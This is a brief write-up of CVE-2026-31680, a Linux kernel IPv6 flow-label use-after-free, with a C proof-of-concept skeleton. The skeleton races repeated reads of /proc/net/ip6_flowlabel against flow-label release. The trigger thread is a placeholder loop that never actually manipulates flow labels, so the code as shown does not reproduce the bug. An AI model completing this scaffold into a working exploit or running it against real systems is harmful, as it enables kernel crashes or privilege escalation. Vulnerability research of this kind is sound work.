CVE-2026-31680 Linux Kernel IPv6流标签释放后利用漏洞

// PoC Concept for CVE-2026-31680 // This code attempts to trigger the race condition between // flowlabel release and /proc reading. #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> void* reader_thread(void* arg) { FILE *fp; char buffer[256]; while(1) { // Continuously read the proc file to trigger ip6fl_seq_show fp = fopen("/proc/net/ip6_flowlabel", "r"); if (fp) { while (fgets(buffer, sizeof(buffer), fp)) { // Process output to keep the race window open } fclose(fp); } } return NULL; } void* trigger_thread(void* arg) { int fd; struct sockaddr_in6 addr; // Simplified loop to create/release flowlabels rapidly // Actual implementation requires setsockopt to manipulate flowlabels while(1) { // Logic to create and release IPv6 flowlabels (fl->users drop to 0) // This mimics the vulnerable path in fl_release() usleep(1); } return NULL; } int main() { pthread_t t1, t2; pthread_create(&t1, NULL, reader_thread, NULL); pthread_create(&t2, NULL, trigger_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }